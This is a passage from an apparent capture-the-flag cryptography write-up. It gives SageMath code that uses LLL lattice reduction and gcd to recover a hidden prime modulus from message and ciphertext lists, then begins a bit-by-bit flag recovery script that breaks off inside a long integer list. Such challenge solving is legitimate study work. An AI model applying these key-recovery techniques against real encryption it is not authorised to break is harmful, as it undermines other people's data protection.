19443880794014015420496260746566073718343224434504374185068813973081417513109615969506188667312188330969026502853036477823357874546093944860308749378123928, 8610303641124717889797443991956065248854876119400852317050875401537697893222693042608150518545123647005489128320318966059078814197980338543782093101929224, 18189657344522443517634178377315677739510993410467142695783340446334277100937541656038062664291573406146510812487138250282486667881441610169897763672518408, 12769524103064286110212485914744234557661966027173832097660581933836555038208706049841496544538548805882474347935602024737964843349772194256842191540878086, 8837434246318895916502293154110755972578717505950918004207279182412126578654858700979631762130823953557115254349577580538115563409772264268979590595878524, 19324198363953550925352268785176812194820419776972184980422284004516526551007702906947369233188769325685359100956902685342281892761746398096459283611700095, 6544445567585062391464238427740831918741801645901527392514359075570599386771893563973143304579733482518738394336251452408151054963276267458950864806421915, 19782164233646334359930792109811656791481571002302250069139549412842329364251080190727840483682229477400959169150663946355487669296131135025201043628456335, 24654727725994844473826157374327181005851067287265041892193560204158822169009982864716885228605931835154647930183426777271783324333532822986533226774265086, 11367700001184727702364259455710809696637145104881210683804803367907200276580882752977849415635463172339466011893449395308545212142141640106372598386717261, 7723357198545349821668979812671919910417796683836887116266560251282651027720737135635979056834665568049760420980280728405309337034762896171899580477002480, 21398687418697553578835459574840055346093502401109142628407521730770084196036749208195098924950079373674925283343188798074486306048809474454183994166974180, 16997038318816588635791819758541930890463030604684975995073453198114844532260969787929803990886438751158525116987184266958684749309609812361482795034864096, 4339399156132604150366164967401687799312125851272253539871718904995918292027308581839413327378932125753131966061907025562614788546630253997949558324058448, 3369244715664390907205531559411845140890026328037629605723521148667020393715678923998551404622131810559215463034330330056308421521633103928524691746117099, 1431673693086038692849537020631139597717739498569241557398192918130148683292292541696331760602755635390901527814481898826581528948318112412965942130662713, 12234491823547381535997745515100483987995055441921296380992354195976960740646886352979059304804649147370413146364909702622931536826695947352658073790958002, 20486544185673750188304644898717013329823792586834957536128145997362582227897781470171626317727958238504761010301781904015009865573784192019736553383956769, 19827763312631414631212341139803235237154761708691725840571357267274608976060420778014253451501335223474450356164637855273778227266125134233045237066067434, 6225563269029485616119328001022633060438304908294870484531262879807569345416136295093046641268484528633153018409094729356768533533009982065511740218322723, 20851355942845687286463902725276963337328262850967710843229819166674693086805559557131450566280824216213603045942500787564210001753540293538067758105213824, 19394814006961873736995866791673787881673571723123879095396834450906913938500266583807089149936580351387233972803876110326286848054332995476891966322678221, 22452100713584112241141868307578989327346305836951368987277589917832465013986855428179035785439557617531138257918255772862364701748005219968215969119420307]
m_vecs = [int2zzvector(num) for num in messages]
M = matrix(ZZ, m_vecs)
M *=  2**256
sample_number = len(messages)
flag_len = 159

La = block_matrix(ZZ,[M,identity_matrix(sample_number)],ncols =2)
L = La.LLL()

kp = 0    
for row in L:
    if all([num ==  0 for num in row[:flag_len]]):
        print(row)
        expons = row[flag_len:]
        rv = 1
        lv = 1
        print(sum(expons) == 0)
        for i, expon in enumerate(expons):
            if expon > 0 :
                rv *= pow(enc[i], expon)
            else:
                lv *= pow(enc[i], -expon)
        kp = gcd(lv-rv, kp)
        # filter small factors
        kp =  factor(kp, limit = 2**20)[-1][0]
        if kp.nbits() <= 513 and is_prime(kp):
            print(kp)
            break

逐比特恢复 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import random
from tqdm import tqdm

def int2zzvector(num, padlen = 159):
    bitstr = bin(num)[2:].zfill(padlen)
    return vector(ZZ, map(int,bitstr))

def int2bitvector(num, padlen = 159):
    bitstr = bin(num)[2:].zfill(padlen)
    return vector(GF(2), map(int,bitstr))

def v2s(v, padlen = 159):
    ret = []
    for _ in range(padlen):
        if v & 1:
            ret.append(0)
        else:
            ret.append(1)
        v >>= 1
    return vector(ZZ, ret)

messages = [693664659977076429441721581800631821031318210374, 641151780938584517641795955698442398343919851663, 442260876510675762713915571945455628516320686117, 467847046669767750439402201866521436762499792753, 576299596039034185945586660464629214766725406313, 566547807312007176018551275285152923461145482278, 549633812326436187103149800041310071046834922223, 508462643386772575091520684203423214004845153777, 691074111704362749554767168266907444196803512431, 413121753215882872520886371919276517674126791912, 671145625949654123907421975392897238339761791254, 546304114747282685685218544920351984032270537488, 572780653997969762702124793964613415339346752213, 601373795885303211716613191912983946252569198078, 527457235225748871937722141407754625294051177749, 380622950183993088387599684834391000840637381947, 583727318782381432149579486946306795580366829825, 550837922303467803018782253055269311324458561180, 385101366933395181675168212725823770156029740822, 641662384614179293679952446950337274222427848632, 459311266266455563068657153682168201121877184739, 405550971665403620381984645469291222673485137149, 371597133369010596084476169385480058426468392326, 698678234769682576843834712549894054633369207255, 534796953640957148331151803381195637842781992445, 374936326772655449966416360745332041868502670742, 492442184422404030075920988632473787949518169214, 705923038408943019023751711766519191467850943084, 650418249017530986700502965003590412936753741846, 708204894591959628376934066632376225372082446153, 454790589406461321336243672198169513923574702304, 627499866789984935690247339547179386637859636919, 423678557987416507826536874284013955560714100793, 401362357036860382844815149593397237631885352243, 686269123693910379749535722753583335597789391578, 488241406301490152491456279144104185166974642895, 666222682488279761488926584268313831995479860799, 692145649792961796987317716770881441381399293905, 511897367235087351921397820910917375986191141349, 654419167502388442568348117907648494584449757209, 589680762232106721032843012116071294451415244568, 590590207988570475395658679957479087724562211841, 482668740919135498248431363803277605451127673913, 715758814258825393741600549482721735218537228645, 653743257230844443635435315901957203427244538602, 454126548145155528162935266605065682187337810299, 620125593471327015013336402531350089722186042701, 428403095612631556748653400063552923087980336909, 569833218747535301058312386702286604678561696137, 660641067559405073494223266631949683860476028737, 449333369658841632304639977694459512245792175293, 467447064234054616809460782875174319877189366516, 393392269675253413458565105507251914214556082922, 635439223607461693963028922726597992660256892935, 407257940459092553785526240326103877335073498631, 381231448748213440272407453073595931506045861957, 448382519038394202568993190054538810660260113592, 716237629706513272445605077735843513110855433522, 433219862219763639756688352959066818152426999972, 488764960789069735381119865733481770059949823842, 398986758108332939403968410236244001743123162261, 514387803898406220776059914714034818208278780873, 590245583566834300419167731150776966766200770705, 590724033036348394343155963128980442493895457996, 699490998943971192667984537274675479813696863626, 718925420408011036460460010425688434382693330922, 564390207482563741249126161293788463115528495908, 383354015121386408912694746374501038216201495056, 453849425687686366671300434509173848985593265416, 622995416706287005921220058167770841333338488067, 729213479452648274706136621948325451122763373528, 686219967297487467790233668226515789529640521917, 609974347033307852444992427283454955701842212277, 370158844254585266588115081907949361562932018924, 378464020678799135304125444772764971463345133327, 605565552445756697479889302627729048203881636722, 519143635838540994109753692182095612109343297845, 688876612469722395107083285555790977268569381013, 604227078464364754329111819031061370420097739909, 534671596093515272642286709098549719295929965019, 664831166196721835534478130764218724610835587432, 370452484041643991366059890003096580693243995922, 635650390595052286897798989359093265932472510317, 474997911571957583578721446486724673814800511337, 666833277280375729438844251406729792923367638939, 549677870902843766274788153586286518685330579562, 403750218768865885432712671206348197497530306372, 648379532443486089700518395089379649272741585525, 689541532202569673029629405206130534769384927362, 722445024372163982105004106438816891709928448096, 651521702599906693092861908583686837945611996078, 557356404670196377948939713130768356044451243592, 510824624387430888406068855655757852565160753932, 658231530504564057468259235412951310486077867029, 393083779876125914188752133433568000895654711785, 435999179120454174265045299731759216901649861140, 644876922291307264679792353211737278436054622754, 654605478964642677023183414228201689324600422799, 397649662675149197445274635932527578292613189899, 702088771582732231620812257232406557644896851508, 545261333943706593808958565590571598643485929648, 489300803173612208186235448929616939354730274661, 395511266610538604983103943278950553412390523869, 711947679621473737738681582835019422064505766533, 655108057209376186592395422788298419234194200055, 400705920821964978204336301018727145817030829641, 557847732069294650719566682927477464549118697011, 445694155266978761199593911327898648797225408780, 509327506013931501965346606465657512886985426818, 411850960097922418945293054971759769984931215613, 553203005031008690580165150300994966169367896789, 530652527364856475981794090271660534447325397356, 525552708426502254882436208110384887625868992533, 641879452010210304086700323582439256278227536757, 719333107198079092685962949838882921753050646649, 386627758848915223040683304270060201736287203139, 660572447042280200496062468158721459189007179803, 706166201320394154541860241557721395270085123453, 579633541498196490661544008242060825478642451000, 643458562688391496707824299186183154011530826172, 562142686022206934731356187745324382416591655497, 501400657520170516459592165171248744753209682136, 623179140778467841916936315748838474803462205575, 504787712625467688129967338367063834713939025797, 482952924860910284331849841113579512061673276859, 589612419005702787664614495809087275765593515200, 708173051157959302912662792155066683391599037088, 499394787474995103922444359715199061114279267634, 585799668229640216254905145106137698139903275746, 554956455635671309874584189793597316684332723414, 704495380359953118982056288192634660302747228975, 636379585192267210170978906373833897679237710149, 539590219032822751351344838148437910734578598790, 674873985654794234341421832706660211498415988742, 432362243233185725959861560932406943572491068540, 536473431426878157062323693838540671362576717277, 720098895832205294868444431769296835443455760636, 579073281776280740906199562458924597541656581619, 591032880071346881498514455634288291076704788575, 654789159747620000763010802203406259372788031654, 695800436297544355627391558054808814174980859981, 605273358282103759599881268207380518657105655632, 433718513437131134678461889459557119114484188332, 384513276557472375558555525856176556368870671402, 600343354385880278644181099801877472312572076963, 695496659236976726427423916216959888943631989241, 438503333436853133988922986561344630255994011897, 425583123306963978710964324292310291477836005305, 476903564467286403602532752184528609004675223004, 459157576050880954066773204066244310642453599360, 376401850156074190331534780592274518042125807945, 542946159546607081254194786204673920263273355503, 456484229337560874335567189110133777645095163385, 626352224071160336097429749136171060147576844515, 665767035251663764776607094101046606586127905011, 517362006352789655575954568218486403517354554358, 437386355363895799735332485388083032234695880055, 514973814138948886475769447233812559312528612766, 374637417457608036809312199403225256699715449299, 677229378532248986407775002200926658772641937438, 612597502270790552054141926184983093742294240069, 431202153828443848949034172654336515755953360105, 622258420899328481789159816535244650713851409293, 618164531021337774672583713954837010690689891975, 513006116907472830120587422699103491498026309133, 555490800950103459194334700707609775850979114865, 704107402534458090132604172739864873726067936161, 690124474957543394281783383866874758144804934007, 472003742277692896073172902648253923981970876514, 635778201676533793375618948558377860181120127094, 611397339934029358865719127411045379740178725128, 576853757049166344546205037719216850371659181706, 408800247021189853377167765805326049327289045993, 729972203090847385745874125707239019582657799980, 525070335256752275837973097539994838060573958877, 411651947363914921986894114762917126749374581231, 519881958261166355010001443948648454218821743842, 573673363481273132247997212479938027609914135108, 493337841572344267307690944171025803909991475790, 617022485264784179620793403861546701423406249938, 525276740282898665434355035125257355830169089057, 680364968656971377813138970950094887958834675303, 504113398809310055995463656972855134024508066403, 465230311414519992240700301605280432857184968020, 720105585854687931310125801670114637584488449678, 668566443891585965518771441393436345329726160143, 580638719984977907256606511678781988397408113575, 697116677830535781701823672224529182422159485954, 640500255323132969623638079044946746254179278138, 658010946200053561403704734852272215619688495637, 718587383921960186228563517703837540604785215716, 433682677761338254004494392849033049058996864418, 475977381288578995417794556437438171639072049493, 412602197708386261331557922762709486995912847552, 682569317224227964165295123361310108054530143437, 425901573874339622630320602490984143376337673005, 722861770527687134345857669333452992788818127442, 682616408191071307473294670590693815960428150376, 696328074485185099123217149377310905174615036228, 455731197482160380784380578906107173308643405028]
enc = [12802431364130645112998386130428005769825107729037697939666001936018624382634102608929729844155359874429890877171241333037279356074151441218381792849257989, 15841931479507910988248305805319960918896666038593569669890009249261359553758127922930494463797629341571426279716572950430532882454202020690026575100177987, 1221898424695532993342738372629546326869084739337065847979484862871978525211953284669644380344082740417474903844644139598107160119553596635470934138036958, 7485441539351227382830427169292005068374766431980627537104803552768432200018282712200763340103759680330985996358783490150871002540761468210506816175401778, 16490427834560779793720496520742149393153032499433215465759099190321694661330124963046121764909345746761779082834462165062018294625890490453836371924613349, 8031625224539527792473708158284785450887152304616884645587504755453928923882770330478061935031851311110848687638036202616335897665362259462603738040684685, 21756436953082356215056741790811013055528330688107471832901006551691682144488287700074435883882759471935216610848090962450531710784608415077031354467481505, 16694267994493152858810276818794756596905889041056847640833399667145180705382746495819004966769911134724566851591603916593611379778119582337187183523369719, 17261909191553914970864431404011635960299019745416311091885553985601039670349345236976867786250811924029125718357264223633200369953175226035173539996554177, 15147461734657135244308111183088252763050417076381443297013089869439583946836743564527129545847648293974780065041378941819082971187483900208985626071887723, 17037081810085070818713345968014617123788910212134025649820174018138425756879891322480370833851145576915999085329155670879431668842783161461771833127520551, 18394793488209799974692802626463695468214671742172206745555436605308904510867809441758699152472391396856293860451374390965229770407357496371519550823208165, 3873238795226279190871777484033249322417236520806723411587583375967314077366815823280638353734552822341146930305057073777955318019184349391849377137564083, 4120648555903242796182853816950546229318366442366051570952003666874980963983152868274735544580542053549951286757083509993285559829361259065334961526796054, 19499727546856392106032124857778338216108062102479779485494249157365912695532105834514239304166776475129721621905859085104767085115683985674244706527050959, 14446880999602357984725861828648389471997566654666984259173920255505914785710209681691782226471221321629899315949050874936976350968237444699706608768887375, 18822381743745716420992275055759822079007667188210040556421450325623865572413713065933957625809266131682092455143571538548880294440467397273141132102598234, 2078993667892636464889910489744040237030609908973999120480344928269019879035285877464379035875800543345822320420985581634014463538438224837261763861586677, 15275755178335032885417760216978828856709120238851548322123314773428069056299549395836869484947879782196020696529458333227629420100865680232982016719046091, 17893925081980092265297049830976436089002895796412083353410656875394835907232213625928698145323254845306125237252332149738887731521773631920155902038840860, 10138286435644961911566653106217650561417998466723794129832123510577708817875722230498244219533540776776478784395392571967301144701954892087255342537154300, 23781898287838801909708558120564370028836358940960071960363431359965656683655555820742071080617655585885544001833186806047872602158806389618424590912169885, 14618829488237452071771111368599368239253058711463829694295880720667209162354083218730170563000389265754138038718099139060343875226210060541819770671248124, 10712086881982643953429542224834368987351550849327471346794965965224403452624660810825982342304599584482720958091163971530609537903235371699644617285750762, 21356875515893845401176571478662130073136777267077873593314796593580271733075908762896359463536562357281340090179236626447788553152256145393820118871774730, 3830637517539282448885291272661611495422186049253711731984076851102467298051214080106742001679228702909263732721276994310474957428746129767219592551567181, 10333558401870114095537756884943206076891212848493125699491519015251928231789362919640661587973190735520950701755905671000926396917379477660013162458218943, 23736432549415238131963606477938519282268147218094644471727959695815042704074586776170303423567364026452302155789029476244161284822561225614020906663667619, 4644035995563829644939494587724565628305992281984495580301269917240849605484280970351133520632655566843288588417952863093674362092942131667871124985212949, 9642416297776960541135321962175444366098216979471685942298188175551752825175491457074346957995345004017102896503988201998943745062204770110761727494371574, 8335281213946275046746666813951128380084042101516669166231507116865049894281067976273808411588391391707025179256087366105062726452523556116606195336452882, 6530482653620093114082077034469049556274883561754077279775967229401023691502197712280297610361000195954087770586736553875743993339035147162150152353163663, 7150257780223505586060206132524943680043121512964630575634713073163634197101527587710840221581931193246376858435843192145530408854242421895304370936143902, 1254304665313866561226799266014735121771402903769064851833306395653682476616235958281360569340510646325819562076484318689539404100396647203891379810634552, 11601359684712978218675279426020451533292101801458488280053551808996493318302131299838753355871218633429176093749706552699172145683740134299400277843087952, 2700268593567907930265525751728407104875489061254260830711986575931937613921970948483079251747123468537195847939302891888911014935339737073186860899524234, 4080942317301967246869353485589617962551375685385196685050993136896262140906796490082447944250346337882888740872592717913339560790911023823533568928551720, 10234615262823560674392728188914569214149481624446413098803831353379508760432524271220726391202917405644902199462785274073427297698683339311211359142656818, 1125945224176025006936418171699674663992407710510497313495825994942895059437070310257916189827215007718021447945978872379864023384952129696506282120224233, 19914951263263531260306740780816159802017584854654281115511082220749163406629807575948156272065625770694237040881326533300003713510971032393055223554165327, 7686726590737660417714025911090741352758643280869745623382180579882049157234662436338789973680009711192460669573563363766062491130800150339511278803498162, 2812310951817903373614255128398787904857476465006239956594366687664880218698741393086998222807296075696952927611888322818057008597991854866726461128969468, 20887882693699664364144618888765816850883562077448268683230920432311999372756485724085587262647860072442748746222954721130293038123612804878687752631794955, 8690569862192462441987449277068927883527910593838503637825344354427820529433735737673215111082490181126283902726715562302819442682675682691713550146809217, 2413131813103467343020477456052518926268983422512279452901211002270260929616020781942952836584010050874483495134937518017096754313775874974673309589212876, 17653193398815101469433909955381528195689636963827968889973646235658572329644007341130442643570429711525946608851822368357115422210481444362996301489761638, 6126402475217327038147046836526705820129689848988279077018693131470204399611580729268939693042421835117198568308235394530366160585670735969006141874087909, 1361128666525231933315783415492733304459600468449681095296110523330036541473721059694239647835933188805769164168350436537797909619517809347947578299834983, 15059407696531860261952862222724919338641403367712593611042260353451344687572443853334492364170670497671440836801221481423750482195869015424093446365401226, 10976713473563499337776465336779692130223005233236840678969170258376260575574769161313777913504720809132003763107716283743214929193579365425796564276946842, 11081947374550148771282567948895442662527812634988105558098435841637076648810409871700246514369718493393011927927896713735208402422091488333353341830845464, 6937198964762673854714880614936119073380436631653258537726983808732793164460020088337426980235314018386009206843995652007995993886949759445935984520426539, 23389436516453522925794907098599734607803553657584285436830698552652531819039549799140706776065354424342390054062290701956377826946910420682660811844476129, 17681559952037923756588828627481395634387669809040100468770525411545819720405926885099001853903627519432633395220855310191015387668249237043108683624945936, 19614092552109487507881840761377121780556234988890288606954923573701039036649780798533055485769039166458390594626929311506826522581195035097443799958981462, 1969965423585002617581019079843930914841409141501759384153688329005895508778123109121569656204271335979256631800250883492440478893638235640486379641341912, 2320923515332921135233329152869590220217977189131802760938423056312256802414245040014586118704088521816385659167639539616620317219266139758755680389006096, 17588004628122309296502610689295481708628562809392740841475764115512024952166181872316436923110831668361652058782925551182843530678115797978222760736666238, 12276911584609786052605903287623189473659209191837581228725403180663097102369721625414426709207293565309436614221981004214660151597244816606366512436603888, 11842566505821585287077172058891087801957095353557583275131878603953034079741151606263803208531091675339528593876833418868838816231200398213922261755166290, 1529596015817286204813206622226632913633158454747501387562331999390003712898118774683119943186889618312684844589218376383467709327323537925085589998117988, 10407127648219250304234420960923103591893079931323394353041341104068061256527815372998465666344176169496459397660199997700931290482945461727586654384188475, 12171839625174918652312185222121279277195150383989436291554667164031685168931563853344009947267982107162026619478996825264436432030561510880790809782870351, 9764846242816439267073338733640602642651188560762231729157851945292183051726838055701392030891393483535364065616457809689410888561279266106291619680997067, 24658652616381776966922721580692944866579555389558010553451463891512715368629193251598921893266732381995084521634182137772594546931592451091510312965529989, 18034671156460777354633486748746132390108720362883751341057710983742216633273553626788057023427030477202576860607085773904695785543922033356257561565761190, 23514883843662384605893754228693669366276629260863879585064019209013254994198481202557815240083982686887723599123715229423738535849049285941081931771684814, 1747520357080615389460274312326696265928969442628712562895485798186997358245763882095801440755637276066287112856047762018183151862865466044100655995926117, 17036192714815443263146107422613378466942940398030917971809438253761056066228199268473758362808733907603866351804210736806923875908009267954251577567876891, 8817273795729670470709896558862743020850509015701684718109791967677483616209913512463947182376413295776696406422262674467676066410818249213233389876461237, 21740211273844298343085907957015919209873637486354367208984207893341477067421726282587915968531749527156839276940169986152223301104340781071943695244086371, 11844651794657896961806050065760722017412193238300504289774096849572596825834213680754275335384541420223939946615132838613007551214018906789525441147774669, 8129749889785159012980609231084214491054172675665615832171131797248695468856517932072550203894799333191680714979859939331296398887109145705970250901691896, 11695284185972004767472101667638230329606628357864644991939913811582990258656052774672752760244856918169125862249098558929134220119600821960804176908283611, 16314933840668305067461376335742247877580287785696269486180016909389236067647558779841089316267290705566054884817418790096108734282582335310368205182363957, 18606516085817577620926634775282398789301479338855515729104575654484819850511053504766428883184656358892632923083331579007785683669057343704956281433875606, 3226150489196877576351264295039169829417188655970560589526256179314299314145087894973100049887558692376014757485426095296358822466156239623460874472154966, 19534989012686390559891716527215262191308727009738449630371047418888859350414586095948946196286861685205849121365741388675867221686675375417838854083657052, 24208375116930230353845019032990098217492613704921535889510987019902385179521710254544675658322149432204071218047418025005499788467251625135521738977377160, 1763062804940690513237191855264315623380667406594406642817481156255487289320165404463687386134054563370482755737128663506704736832153569316847754069405584, 13477110168666248725923505351231751857689496110710619206192460756250248270839808210569058599946511767951523997839847060309035478535589716215322228543904251, 5624620622885539600338670460553458005264154040857656868841669752657863883303657466453665936750842733219239568523671917836966979774581561292319305772461192, 19064441976314148901764282789344170798883594556597975920757024834294159793812419109503148362960949146618490344245176605188340780604280934344521436102814749, 22070871235776504435913068366559174507765849576931611448352363340153471058785679647442872769642429292617699970917473531474618167614029594959057685575495379, 23370054776122376779925074705492246721746545483631232351290602993951341910464937566067282775445803424574510374029656646144623209538913563958329684792553142, 14244662604510763885444101260115085023561049241222635764349530977744660515106866164932118064850021891115535386537093113037624420423858928676744563446211415, 5841733857714297347219990884181013382713368982889830599095635752590860646998491504554598394017790519925310705594593191603791211162861358312358526132943252, 9454574014996505451231441149671419862568230574743571287883480388931232389984080516166289920548971970608649472577881022089115994467795263288420060626161978, 12025550601795597290545078739303305876747558748984721592357751821443390583303181175562052016631122081436858995571970324794600999776957629693395175748856429, 3309704373687045096987897327419000026776603992083428068492847000969082995309863192943886104513564868487085916127011224987932860891429100829662502681931329, 4126559406681147927859776019048977946029184376356634959604923270848265559783017634131367404003858616331072576859854123506386543046642426290990700837549742, 6590240198074082039879588369134793297702025696892876376250529508121208790634960410462619718095172857033286526044615435192886345833234336697820942136514354, 10838195866701247623418285573964343559784514114170440567275051025443328217966578453459462162524285127459554292533128256876474230951282912394977241207332359, 1657433158026975711712737761749081514673496426523940089579710565508243620737248951061950302655495961584442216993881832603658465573648757337008028738960018, 2739064754353892787493554343216893846377165157672312029043253005117404976439042722855706057398905854228429606569964362640662381138755237643589473131551418, 21172215884938268043411370585184527518014458716794671161126867851250094829334241781195535750323787216910901085180593906605438912332975622019565766193125878, 16159716548897693375554748797256891319931268523891519254489722072480590140253118173522150323767310657959800584719691319940024179874929995865674021993091540, 20250520134850640112115308560262332612070366086610795246395238530938233342059051193158083184052196493610497896152779577023739774579330327865497664687874010, 24812962305556048839067391806837149348700619263727304765352910849500886514806114753649847608472424693741123244517125547165365925347647206011022269420461251, 7393081665086988681362638024072789041848367519937012907912550836672067108109063408149251420765103964012038491139817753573053447579333266044813279469144944, 8993969975239015578387410833135455294237497078869801288389929971408445752945649904224911721056675439481701605126696094427870322455350177646318049858772216, 24108681250269405150153741128745963533778600907659887826089346204751510147001111720476973529351720161364370633914934038834648739963431983106507221608105071, 17230554578959854421955355069881828896735934620878042494142200550697417194318742283031647309890174129928211994892878809445435227626495020516322965419812680, 14185443515874763106601396273883329813077277068745133129803834767576095065155245404985391354848493575886016733471182945429867346944403492319423488175487464, 9051684348164242937984157010446996237177025178044858752789108951563454432114309081490680880143188933202537701647187989270080696291695027202031114965504465, 15968644604452324093316323003253501274138419445724525454279030439452704415557621688500911691411401621629566881021571525248375387214578029947839833403006684, 16209131277806518314040740815655681115008312473463041932471505874478456556806055124972010544702515371917055994711254920209521821739238442778606242595689136, 14267451374230545872133460219037824530628846855683835187862297779661446038199929435385555110855969683622859538335789338954156580111583149459446787930846201, 23790336084251908928403238066046481908602096415990504166293872338092719230524342734539924012164569225788355119046346387321121130686830027124362025783463477, 21345234479026082149298106192127440977918090426774140705788242552669067157980544072266728883118765227703221162553462368133460470045349179753160971039094200, 9305127848529933694787026320831737395075573847763715753225101066114433780988250329990887614584957373494686049724019878162879332112961806593149488344546215, 13842046255087557926406164968912459332329325359004163688284202096665051971905148063300580673777285901342794578086480674762923634751266380032184312519548373, 22927421582905354003438719232393269012752635264592813004697824352110193126888760005373391702574759851903178363003394606055637835560272815362392783666511931, 23666494627444662087603328016048247849971327006880350229129531990464095777421407489395875036160933091855635536829926502298481793502040901088565481619066614, 6931511897435916229199231394935413627759479266461117934549644719780030790378740958467642473455461452829619376274452980198157297854824972520346709708100360, 24555249832727281025314532419181706720577546097037365645201904083198639727267669096091035808959490255144065150418326186063938996057663502541714586097361344, 1664097221650307863216140243177799990793785791808088230836822966491481115306184052602669419603060064720775759267177846297541075547557655346584835791978623, 10385701732358699575525681464177756584452751570741415381005081100372844616353810632260049905532228008819382207426817347174214630601238914041050606268384535, 19811109989872751363812468058009318171037607926334987005725092234755635747473836116182682798385978991335210859739079762916443624642218520685915728721427279, 24686173673215959951693708105644815416729869793502070002725937288833838058791784277609006544654203724891001415323092506652863087293477003935804296212537757, 4464571027847916541453093798431797623276257071722540821886225614102719840795331474986494793553517596773693152755645622387218885351980348025724452528043481, 20529060187083072085144382682688430291536724394170108235471190686666162701889071059664969210959080015862866309115158763820927328840900703747200681108940698, 10196352115221716967545879161215742024314632108421777683533640781128869500968439480722768182459652703944307390531824891898249359470211528086701729051536035, 17075979517113408674799265351449042018326593738341805865814246800054039350741169487898589541954225492144559694371395909019451872532953716956348203460188664, 8729312652402643991680156396577031631642045055801337031264815922017287160087927618794335512517845630003033385738334601568490445068052291995372269029264312, 18815416831192714208010452521277703614783383182936408564329378951294172995260437272675494793572596924301362800575616466225382089201089386708138005923488820, 9601057668526877155386403235142590275448939487805305657688602383259372748680150489385791799864009699200686312964549630814608767441426930176574637164172338, 24869598836011530151141929593666158251123597039772319201075561172631966715408923659188348433472168344815037722956532532354889485498638323613921381448893216, 5909951884305530036902098907697774580818474819173299165535478446009286447878979168139115500554123770810141869458826760573389985915957048274079373810978418, 11371251917603094933160774161669447215817045003071558412329882897191943409033448913400498524347992888232351709628705176689108831194690704074092176780938897, 551785620532509852643950129716155581783681586172243143964645401360176082986662742714915946522713862053951803679993581672949497548830540173323515114257474, 5451096750683883126256346729981696741947096539573638544818573800787385002596401510067958743559691552970642317993613653281724363562305142935841454998639523, 17123920028121678335638297328605772708344520673581531559964483325267837828507553881521259866583948335654168242931809985011250636123496953227284761874011265, 7874523196293154389935682128883780886675576168409698448649545633352544309389693386666016314218665927868179109693388811490206823864527216673266238964970897, 23649065270512587392574754158723920638331966781166536410420979439668405474440672814799264262228547112176020068381847686523573884407941899054814599233261164, 24190031687673495347838406683475206994924260431258986610598537416225564244807449968419903989962585058789476275433445564290248486242387816608688871236973528, 13605998663626606954484321600177761063010656143576713116692506645508407493690591666021676729568099510170655315280476509103012875735370890671513263255764671, 16571553211334132895793416809789965262122400989077697003250533948433467354398963089553253989416870000543019464536933138723858366219874623115814641108662188, 9826640183995099837472540428686687456215964233823201273519452572229151835593129774903437988612794076982559008486399715520871375380950033218257088198898698, 1905044234624066879727261938968902529486358885313965708003760389017540141309830338474826711391994992129372747501284279021906217162777292479084599062665129, 12188221789553949580075515688892990014269270562072575922461826680352220391856431272216820004268121858028515271829940614853812453749528956021976390985897806, 15563042329589083597904437386924162667321087802050823417598451968963544078806857451868426729273097548188899555576765472424214756797430989962757570674652868, 18433220039257868742885516207269963381685282645339909641430675485503508409367458940114127842165557398472175510511780868970179022389043487101407516560125569, 11411951786693646929690853907051923593889441404105225945834051543686056581198629329107009399445292958496416683548700022213101789529633991030079960038393328, 14275382278224163040764578924093505439842946766825794705667598992919824407980132381313336434900435234445385604968838234542220362352992877383900260614711743, 7791671412509615737028145209394955250240813590804569452204678722198419102394519093932438053812603849378646597771436948597899334381694514286418697582174740, 20834835144817880335846051447242933162241244015011411408218182181432485847095586500030044137552653695021960255872962521476918031022541730595717283784814440, 12592718228501991540699125036468769482682045871135859182376003500227431914697215594570110712821451100229243753846161014661352515039022678333094542691767794, 10112279527032757598472304083330486355272588021164181341150084704436682697582885829400651624410189975320458125395030399398673944658005038362023720256313928, 11983333061418944073002263207483534917298266918037799877092059478422506361914469374167120898889704600289970251808546219908097639560463769258858597173003195, 6519052705523889056711008173953376394552834531935243639326704687591225824107737890744789511960488882361662489129870655486012337556484158376173821625259059, 6288506640560941187182199365728604207278162286235331192853243553079645517191479787255211647533798877007340661544336283995458016845677445960674283371538691, 2097235742927475763627967722850271966822996875892027817874355158239487074748064354705183609740739015880829927504734515955660612173848028137969009137592993, 5492805342348725314539540923214083275242889867612180056704674658241506674463534006264099314906314376486584542769565356248371098081249637137999437387733952, 2934371084707806914315288513277551720782408329370992811034278434108842183178308951648145735318885239509164810159720671982457834638980022674518223202531733, 18684236807129269752691763175972328955211901906567168757253528407713740272852303230251804671981319562425425626825027402176716755310802147833851761790234098, 18415510968188711739818418553724104490486241862302602443849687456493393699626783821495277208837760850509971475323452482867545140964882388053127450574945257, 527057507665412612336596514476043926607938316361814105716509429492918282813356254253160391969345587300398848904582993263418901845588888132460683363647394, 15464618088748223814914277596617125869445005768053281959446532375946253314072378429969360041201161695095335956898429317410440939875691642424385160360332621, 18535673136368940401954784411906084529183200894531677783320114210572951990126374739283597717106537554653749550412465766451656614218055324146165801577997898, 6602347861694341844323078139998165600822103822625553017901700556438426702979892021085138980817031115685010436897705066920817629843161087619325651884841494, 5038184728162810477213923890175581461109894659383219897474939673434396056304913844113351001788872892451611791218230927404950110919483296245215266912036544, 20116466928008546363140122896149075356532805758708154331686449172524730342060145139021190826994917170580612621680205821594497089591778732462627899358510819, 19856067344203744574737420047476046835252886924818574074582426054632538663205990713206123100154834043256321647589186488996253965338599282387348949952452235, 6489169968555497290422187291255665128590625519286630274296777977328572574596942204552469782026829571327504142778545984614412224378360983412702040284873290, 4553780456863427610915884316891768089809046222284839826371646208684075168725343922380654798366743468571290353645511824206694239764312033164870976363593226, 23959066018152767645119851439958735671040513763474387516821433219080273476231641757896723067763708675113323859657587116141364114219119850930618650125129009, 11802654191643700790216297644061907967746158176077248308127562232078484346647736660539949022309498348627204805721593584775422394309013796130700092900938815, 5878417000780331798857557986948960441346454077777322673554492074557738723820678687258340632752903121339534981383754099436716471058805982328132476449941215, 6880685058088923360454978331496372535541661645462067499560473528440802336974353955146677751380306992934684346246375289762689840689886873086589146810253670, 15146619207080728721431458393485078963816476244333097953347229639115792867741651752502450634986215936423898371111845955206352077502413276865026693558237006, 24561722000140158259875681907751882896455273583426085483068435374059719582107181339559714944784457729629630905505829288142673667003135252718347624436999992, 6010611884765225018462632647496238859722174131255561001382929914235844040213056949996415280767936305317356224069768977951698543854166744388967466830014993, 8604205503844497975382087491471261691500399179059828399299104296451588437548671975425809986346145749171661080060732418214787755409974796257958457079446169, 